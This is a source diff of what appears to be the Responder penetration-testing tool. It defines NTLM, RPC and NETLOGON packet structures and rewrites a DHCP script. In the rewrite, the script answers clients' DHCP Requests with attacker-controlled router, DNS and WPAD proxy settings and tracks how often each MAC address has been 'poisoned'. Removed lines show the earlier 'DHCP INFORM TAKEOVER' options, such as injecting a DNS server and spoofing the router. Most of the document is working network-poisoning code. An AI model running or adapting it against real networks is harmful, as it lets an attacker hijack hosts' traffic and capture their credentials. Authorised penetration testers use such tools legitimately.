self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
|
self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
|
||||||
|
self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
|
||||||
|
##### IvPair Calculation:
|
||||||
|
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||||
|
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||||
|
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||||
|
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||||
|
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||||
|
|
||||||
|
class RPCNTLMNego(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Version", "\x05"),
|
||||||
|
("VersionLow", "\x00"),
|
||||||
|
("PacketType", "\x0C"),#Bind Ack.
|
||||||
|
("PacketFlag", "\x07"),#lastfrag
|
||||||
|
("DataRepresent", "\x10\x00\x00\x00"),
|
||||||
|
("FragLen", "\xd0\x00"),
|
||||||
|
("AuthLen", "\x28\x00"),
|
||||||
|
|
||||||
|
("CallID", "\x02\x00\x00\x00"),
|
||||||
|
("MaxTransFrag", "\xd0\x16"),
|
||||||
|
("MaxRecvFrag", "\xd0\x16"),
|
||||||
|
("GroupAssoc", "\x94\x2c\x00\x00"),
|
||||||
|
("CurrentPortLen", "\x06\x00"),
|
||||||
|
("CurrentPortStr", settings.Config.RPCPort),
|
||||||
|
("CurrentPortNull", "\x00"),
|
||||||
|
("Pcontext", "\x03\x00\x00\x00"),
|
||||||
|
("CTX0ContextID", "\x02\x00"),
|
||||||
|
("CTX0ItemNumber", "\x02\x00"),
|
||||||
|
("CTX0UID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("CTX0UIDVersion", "\x00\x00\x00\x00"),
|
||||||
|
|
||||||
|
("CTX1ContextID", "\x00\x00"),
|
||||||
|
("CTX1ItemNumber", "\x00\x00"),
|
||||||
|
("CTX1UID", "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36"),
|
||||||
|
("CTX1UIDVersion", "\x01\x00\x00\x00"),
|
||||||
|
("CTX2ContextID", "\x03\x00"),
|
||||||
|
("CTX2ItemNumber", "\x03\x00"),
|
||||||
|
("CTX2UID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("CTX2UIDVersion", "\x00\x00\x00\x00"),
|
||||||
|
("AuthType", "\x0A"), #RPC_C_AUTHN_WINNT
|
||||||
|
("AuthLevel", "\x06"),
|
||||||
|
("AuthReserved", "\x00\x00"),
|
||||||
|
("AuthContextID", "\x00\x00\x00\x00"),
|
||||||
|
("Data", ""), #NTLM GOES HERE
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
self.fields["AuthLen"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||||
|
Data= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CurrentPortLen"])+str(self.fields["CurrentPortStr"])+str(self.fields["CurrentPortNull"])+str(self.fields["Pcontext"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX1ContextID"])+str(self.fields["CTX1ItemNumber"])+str(self.fields["CTX1UID"])+str(self.fields["CTX1UIDVersion"])+str(self.fields["CTX2ContextID"])+str(self.fields["CTX2ItemNumber"])+str(self.fields["CTX2UID"])+str(self.fields["CTX2UIDVersion"]) +str(self.fields["AuthType"])+str(self.fields["AuthLevel"])+str(self.fields["AuthReserved"])+str(self.fields["AuthContextID"])+str(self.fields["Data"])
|
||||||
|
|
||||||
|
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
|
||||||
|
|
||||||
|
################### Mailslot NETLOGON ######################
|
||||||
|
class NBTUDPHeader(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("MessType", "\x11"),
|
||||||
|
("MoreFrag", "\x02"),
|
||||||
|
("TID", "\x82\x92"),
|
||||||
|
("SrcIP", "0.0.0.0"),
|
||||||
|
("SrcPort", "\x00\x8a"), ##Always 138
|
||||||
|
("DatagramLen", "\x00\x00"),
|
||||||
|
("PacketOffset", "\x00\x00"),
|
||||||
|
("ClientNBTName", ""),
|
||||||
|
("DstNBTName", ""),
|
||||||
|
("Data", ""),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["SrcIP"] = RespondWithIPAton()
|
||||||
|
## DatagramLen.
|
||||||
|
DataGramLen = str(self.fields["PacketOffset"])+str(self.fields["ClientNBTName"])+str(self.fields["DstNBTName"])+str(self.fields["Data"])
|
||||||
|
self.fields["DatagramLen"] = StructWithLenPython2or3(">h",len(DataGramLen))
|
||||||
|
|
||||||
|
class SMBTransMailslot(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x11"),
|
||||||
|
("TotalParamCount", "\x00\x00"),
|
||||||
|
("TotalDataCount", "\x00\x00"),
|
||||||
|
("MaxParamCount", "\x02\x00"),
|
||||||
|
("MaxDataCount", "\x00\x00"),
|
||||||
|
("MaxSetupCount", "\x00"),
|
||||||
|
("Reserved", "\x00"),
|
||||||
|
("Flags", "\x00\x00"),
|
||||||
|
("Timeout", "\xff\xff\xff\xff"),
|
||||||
|
("Reserved2", "\x00\x00"),
|
||||||
|
("ParamCount", "\x00\x00"),
|
||||||
|
("ParamOffset", "\x00\x00"),
|
||||||
|
("DataCount", "\x00\x00"),
|
||||||
|
("DataOffset", "\x00\x00"),
|
||||||
|
("SetupCount", "\x03"),
|
||||||
|
("Reserved3", "\x00"),
|
||||||
|
("Opcode", "\x01\x00"),
|
||||||
|
("Priority", "\x00\x00"),
|
||||||
|
("Class", "\x02\x00"),
|
||||||
|
("Bcc", "\x00\x00"),
|
||||||
|
("MailSlot", "\\MAILSLOT\\NET\\NETLOGON"),
|
||||||
|
("MailSlotNull", "\x00"),
|
||||||
|
("Padding", "\x00\x00\x00"),
|
||||||
|
("Data", ""),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
#Padding
|
||||||
|
if len(str(self.fields["Data"]))%2==0:
|
||||||
|
self.fields["Padding"] = "\x00\x00\x00\x00"
|
||||||
|
else:
|
||||||
|
self.fields["Padding"] = "\x00\x00\x00"
|
||||||
|
BccLen = str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])+str(self.fields["Data"])
|
||||||
|
PacketOffsetLen = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved2"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved3"])+str(self.fields["Opcode"])+str(self.fields["Priority"])+str(self.fields["Class"])+str(self.fields["Bcc"])+str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])
|
||||||
|
|
||||||
|
self.fields["DataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||||
|
self.fields["TotalDataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||||
|
self.fields["DataOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
|
||||||
|
self.fields["ParamOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
|
||||||
|
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(BccLen))
|
||||||
|
|
||||||
|
class SamLogonResponseEx(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Cmd", "\x17\x00"),
|
||||||
|
("Sbz", "\x00\x00"),
|
||||||
|
("Flags", "\xfd\x03\x00\x00"),
|
||||||
|
("DomainGUID", "\xe7\xfd\xf2\x4a\x4f\x98\x8b\x49\xbb\xd3\xcd\x34\xc7\xba\x57\x70"),
|
||||||
|
("ForestName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
|
||||||
|
("ForestNameNull", "\x00"),
|
||||||
|
("ForestDomainName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
|
||||||
|
("ForestDomainNull", "\x00"),
|
||||||
|
("DNSName", "\x0a\x73\x65\x72\x76\x65\x72\x32\x30\x30\x33"),
|
||||||
|
("DNSPointer", "\xc0\x18"),
|
||||||
|
("DomainName", "\x04\x53\x4d\x42\x33"),
|
||||||
|
("DomainTerminator", "\x00"),
|
||||||
|
("ServerLen", "\x0a"),
|
||||||
|
("ServerName", settings.Config.MachineName),
|
||||||
|
("ServerTerminator", "\x00"),
|
||||||
|
("UsernameLen", "\x10"),
|
||||||
|
("Username", "LGANDX"),
|
||||||
|
("UserTerminator", "\x00"),
|
||||||
|
("SrvSiteNameLen", "\x17"),
|
||||||
|
("SrvSiteName", "Default-First-Site-Name"),
|
||||||
|
("SrvSiteNameNull", "\x00"),
|
||||||
|
("Pointer", "\xc0"),
|
||||||
|
("PointerOffset", "\x5c"),
|
||||||
|
("DCAddrSize", "\x10"),
|
||||||
|
("AddrType", "\x02\x00"),
|
||||||
|
("Port", "\x00\x00"),
|
||||||
|
("DCAddress", "\xc0\xab\x01\x65"),
|
||||||
|
("SinZero", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("Version", "\x0d\x00\x00\x00"),
|
||||||
|
("LmToken", "\xff\xff"),
|
||||||
|
("LmToken2", "\xff\xff"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
Offset = str(self.fields["Cmd"])+str(self.fields["Sbz"])+str(self.fields["Flags"])+str(self.fields["DomainGUID"])+str(self.fields["ForestName"])+str(self.fields["ForestNameNull"])+str(self.fields["ForestDomainName"])+str(self.fields["ForestDomainNull"])+str(self.fields["DNSName"])+str(self.fields["DNSPointer"])+str(self.fields["DomainName"])+str(self.fields["DomainTerminator"])+str(self.fields["ServerLen"])+str(self.fields["ServerName"])+str(self.fields["ServerTerminator"])+str(self.fields["UsernameLen"])+str(self.fields["Username"])+str(self.fields["UserTerminator"])
|
||||||
|
|
||||||
|
DcLen = str(self.fields["AddrType"])+str(self.fields["Port"])+str(self.fields["DCAddress"])+str(self.fields["SinZero"])
|
||||||
|
self.fields["DCAddress"] = RespondWithIPAton()
|
||||||
|
self.fields["ServerLen"] = StructWithLenPython2or3("<B",len(str(self.fields["ServerName"])))
|
||||||
|
self.fields["UsernameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["Username"])))
|
||||||
|
self.fields["SrvSiteNameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["SrvSiteName"])))
|
||||||
|
self.fields["DCAddrSize"] = StructWithLenPython2or3("<B",len(DcLen))
|
||||||
|
self.fields["PointerOffset"] = StructWithLenPython2or3("<B",len(Offset))
|
||||||
|
|
||||||
|
|||||||
@@ -17,44 +17,23 @@
|
|||||||
import sys
|
import sys
|
||||||
if (sys.version_info < (3, 0)):
|
if (sys.version_info < (3, 0)):
|
||||||
sys.exit('This script is meant to be run with Python3')
|
sys.exit('This script is meant to be run with Python3')
|
||||||
|
|
||||||
import struct
|
import struct
|
||||||
import optparse
|
import optparse
|
||||||
import configparser
|
import configparser
|
||||||
import os
|
import os
|
||||||
import codecs
|
import codecs
|
||||||
|
import netifaces
|
||||||
|
import binascii
|
||||||
|
|
||||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||||
sys.path.insert(0, BASEDIR)
|
sys.path.insert(0, BASEDIR)
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
|
|
||||||
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
|
||||||
parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
|
|
||||||
parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
|
|
||||||
parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
|
|
||||||
parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
|
|
||||||
parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
|
|
||||||
parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
|
|
||||||
parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof")
|
|
||||||
parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
|
|
||||||
options, args = parser.parse_args()
|
|
||||||
|
|
||||||
def color(txt, code = 1, modifier = 0):
|
def color(txt, code = 1, modifier = 0):
|
||||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||||
|
|
||||||
if options.Interface is None:
|
|
||||||
print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
|
|
||||||
exit(-1)
|
|
||||||
elif options.RouterIP is None:
|
|
||||||
print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
|
|
||||||
exit(-1)
|
|
||||||
elif options.DNSIP is None:
|
|
||||||
print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
|
|
||||||
exit(-1)
|
|
||||||
elif options.DNSIP2 is None:
|
|
||||||
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
|
|
||||||
exit(-1)
|
|
||||||
|
|
||||||
#Python version
|
#Python version
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
PY2OR3 = "PY3"
|
PY2OR3 = "PY3"
|
||||||
@@ -95,39 +74,29 @@ class Packet():
|
|||||||
def __str__(self):
|
def __str__(self):
|
||||||
return "".join(map(str, self.fields.values()))
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
print('#############################################################################')
|
|
||||||
print('## DHCP INFORM TAKEOVER 0.3 ##')
|
|
||||||
print('## ##')
|
|
||||||
print('## By default, this script will only inject a new DNS/WPAD ##')
|
|
||||||
print('## server to a Windows <= XP/2003 machine. ##')
|
|
||||||
print('## ##')
|
|
||||||
print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
|
|
||||||
print('## any linux box, use -R (can be noisy) ##')
|
|
||||||
print('## ##')
|
|
||||||
print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
|
|
||||||
print('#############################################################################')
|
|
||||||
print('')
|
|
||||||
print(color('[*]', 2, 1), 'Listening for events...')
|
|
||||||
|
|
||||||
config = configparser.ConfigParser()
|
config = configparser.ConfigParser()
|
||||||
config.read(os.path.join(BASEDIR,'Responder.conf'))
|
config.read(os.path.join(BASEDIR,'Responder.conf'))
|
||||||
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
|
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
|
||||||
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
|
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
|
||||||
Interface = options.Interface
|
Interface = settings.Config.Interface
|
||||||
Responder_IP = FindLocalIP(Interface, None)
|
Responder_IP = FindLocalIP(Interface, None)
|
||||||
ROUTERIP = options.RouterIP
|
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
|
||||||
NETMASK = options.Netmask
|
NETMASK = "255.255.255.0"
|
||||||
DHCPSERVER = Responder_IP
|
DNSIP = "0.0.0.0"
|
||||||
DNSIP = options.DNSIP
|
DNSIP2 = "0.0.0.0"
|
||||||
DNSIP2 = options.DNSIP2
|
DNSNAME = "lan"
|
||||||
DNSNAME = options.DNSNAME
|
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
|
||||||
WPADSRV = options.WPAD.strip() + "\\n"
|
Respond_To_Requests = True
|
||||||
Spoof = options.Spoof
|
DHCPClient = []
|
||||||
Respond_To_Requests = options.Respond_To_Requests
|
|
||||||
|
|
||||||
if Spoof:
|
|
||||||
DHCPSERVER = ROUTERIP
|
|
||||||
|
|
||||||
|
def GetMacAddress(Interface):
|
||||||
|
try:
|
||||||
|
mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr']
|
||||||
|
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
|
||||||
|
except:
|
||||||
|
mac = "00:00:00:00:00:00"
|
||||||
|
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
|
||||||
|
|
||||||
##### IP Header #####
|
##### IP Header #####
|
||||||
class IPHead(Packet):
|
class IPHead(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -155,6 +124,40 @@ class UDP(Packet):
|
|||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
|
self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
|
||||||
|
|
||||||
|
class DHCPDiscover(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("MessType", "\x01"),
|
||||||
|
("HdwType", "\x01"),
|
||||||
|
("HdwLen", "\x06"),
|
||||||
|
("Hops", "\x00"),
|
||||||
|
("Tid", os.urandom(4).decode('latin-1')),
|
||||||
|
("ElapsedSec", "\x00\x01"),
|
||||||
|
("BootpFlags", "\x80\x00"),
|
||||||
|
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||||
|
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||||
|
("NextServerIP", "\x00\x00\x00\x00"),
|
||||||
|
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||||
|
("ClientMac", os.urandom(6).decode('latin-1')),#Needs to be random.
|
||||||
|
("ClientMacPadding", "\x00" *10),
|
||||||
|
("ServerHostname", "\x00" * 64),
|
||||||
|
("BootFileName", "\x00" * 128),
|
||||||
|
("MagicCookie", "\x63\x82\x53\x63"),
|
||||||
|
("DHCPCode", "\x35"), #DHCP Message
|
||||||
|
("DHCPCodeLen", "\x01"),
|
||||||
|
("DHCPOpCode", "\x01"), #Msgtype(Discover)
|
||||||
|
("Op55", "\x37"),
|
||||||
|
("Op55Len", "\x0b"),
|
||||||
|
("Op55Str", "\x01\x03\x0c\x0f\x06\x1a\x21\x79\x77\x2a\x78"),#Requested info.
|
||||||
|
("Op12", "\x0c"),
|
||||||
|
("Op12Len", "\x09"),
|
||||||
|
("Op12Str", settings.Config.DHCPHostname),#random str.
|
||||||
|
("Op255", "\xff"),
|
||||||
|
("Padding", "\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["ClientMac"] = GetMacAddress(Interface)
|
||||||
|
|
||||||
class DHCPACK(Packet):
|
class DHCPACK(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("MessType", "\x02"),
|
("MessType", "\x02"),
|
||||||
@@ -181,7 +184,7 @@ class DHCPACK(Packet):
|
|||||||
("Op54Str", ""), #DHCP Server
|
("Op54Str", ""), #DHCP Server
|
||||||
("Op51", "\x33"),
|
("Op51", "\x33"),
|
||||||
("Op51Len", "\x04"),
|
("Op51Len", "\x04"),
|
||||||
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
|
("Op51Str", "\x00\x00\x00\x0a"), #Lease time
|
||||||
("Op1", "\x01"),
|
("Op1", "\x01"),
|
||||||
("Op1Len", "\x04"),
|
("Op1Len", "\x04"),
|
||||||
("Op1Str", ""), #Netmask
|
("Op1Str", ""), #Netmask
|
||||||
@@ -202,7 +205,7 @@ class DHCPACK(Packet):
|
|||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
|
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
||||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||||
@@ -211,59 +214,6 @@ class DHCPACK(Packet):
|
|||||||
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
||||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||||
|
|
||||||
class DHCPInformACK(Packet):
|
|
||||||
fields = OrderedDict([
|
|
||||||
("MessType", "\x02"),
|
|
||||||
("HdwType", "\x01"),
|
|
||||||
("HdwLen", "\x06"),
|
|
||||||
("Hops", "\x00"),
|
|
||||||
("Tid", "\x11\x22\x33\x44"),
|
|
||||||
("ElapsedSec", "\x00\x00"),
|
|
||||||
("BootpFlags", "\x00\x00"),
|
|
||||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
|
||||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
|
||||||
("NextServerIP", "\x00\x00\x00\x00"),
|
|
||||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
|
||||||
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
|
|
||||||
("ClientMacPadding", "\x00" *10),
|
|
||||||
("ServerHostname", "\x00" * 64),
|
|
||||||
("BootFileName", "\x00" * 128),
|
|
||||||
("MagicCookie", "\x63\x82\x53\x63"),
|
|
||||||
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
|
||||||
("Op54", "\x36"),
|
|
||||||
("Op54Len", "\x04"),
|
|
||||||
("Op54Str", ""), #DHCP Server
|
|
||||||
("Op1", "\x01"),
|
|
||||||
("Op1Len", "\x04"),
|
|
||||||
("Op1Str", ""), #Netmask
|
|
||||||
("Op15", "\x0f"),
|
|
||||||
("Op15Len", "\x0e"),
|
|
||||||
("Op15Str", ""), #DNS Name
|
|
||||||
("Op3", "\x03"),
|
|
||||||
("Op3Len", "\x04"),
|
|
||||||
("Op3Str", ""), #Router
|
|
||||||
("Op6", "\x06"),
|
|
||||||
("Op6Len", "\x08"),
|
|
||||||
("Op6Str", ""), #DNS Servers
|
|
||||||
("Op252", "\xfc"),
|
|
||||||
("Op252Len", "\x04"),
|
|
||||||
("Op252Str", ""), #Wpad Server.
|
|
||||||
("Op255", "\xff"),
|
|
||||||
])
|
|
||||||
|
|
||||||
def calculate(self):
|
|
||||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
|
|
||||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
|
||||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
|
||||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
|
||||||
self.fields["Op15Str"] = DNSNAME
|
|
||||||
self.fields["Op252Str"] = WPADSRV
|
|
||||||
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
|
||||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
|
||||||
|
|
||||||
def SpoofIP(Spoof):
|
|
||||||
return ROUTERIP if Spoof else Responder_IP
|
|
||||||
|
|
||||||
def RespondToThisIP(ClientIp):
|
def RespondToThisIP(ClientIp):
|
||||||
if ClientIp.startswith('127.0.0.'):
|
if ClientIp.startswith('127.0.0.'):
|
||||||
return False
|
return False
|
||||||
@@ -286,7 +236,9 @@ def FindIP(data):
|
|||||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||||
return ''.join(IP[0:4]).encode('latin-1')
|
return ''.join(IP[0:4]).encode('latin-1')
|
||||||
|
|
||||||
def ParseDHCPCode(data):
|
def ParseDHCPCode(data, ClientIP):
|
||||||
|
global DHCPClient
|
||||||
|
global ROUTERIP
|
||||||
PTid = data[4:8]
|
PTid = data[4:8]
|
||||||
Seconds = data[8:10]
|
Seconds = data[8:10]
|
||||||
CurrentIP = socket.inet_ntoa(data[12:16])
|
CurrentIP = socket.inet_ntoa(data[12:16])
|
||||||
@@ -295,66 +247,77 @@ def ParseDHCPCode(data):
|
|||||||
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
|
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
|
||||||
OpCode = data[242:243]
|
OpCode = data[242:243]
|
||||||
RequestIP = data[245:249]
|
RequestIP = data[245:249]
|
||||||
|
|
||||||
# DHCP Inform
|
if DHCPClient.count(MacAddrStr) >= 4:
|
||||||
if OpCode == b"\x08":
|
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP))
|
|
||||||
Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
|
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
|
||||||
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
ROUTERIP = ClientIP
|
||||||
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
|
||||||
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
|
||||||
ElapsedSec=Seconds.decode('latin-1'))
|
|
||||||
Packet.calculate()
|
|
||||||
Buffer = UDP(Data = Packet)
|
|
||||||
Buffer.calculate()
|
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
|
||||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
|
||||||
|
|
||||||
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
|
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
|
||||||
IP = FindIP(data)
|
IP = FindIP(data)
|
||||||
if IP:
|
if IP:
|
||||||
IPConv = socket.inet_ntoa(IP)
|
IPConv = socket.inet_ntoa(IP)
|
||||||
if RespondToThisIP(IPConv):
|
if RespondToThisIP(IPConv):
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||||
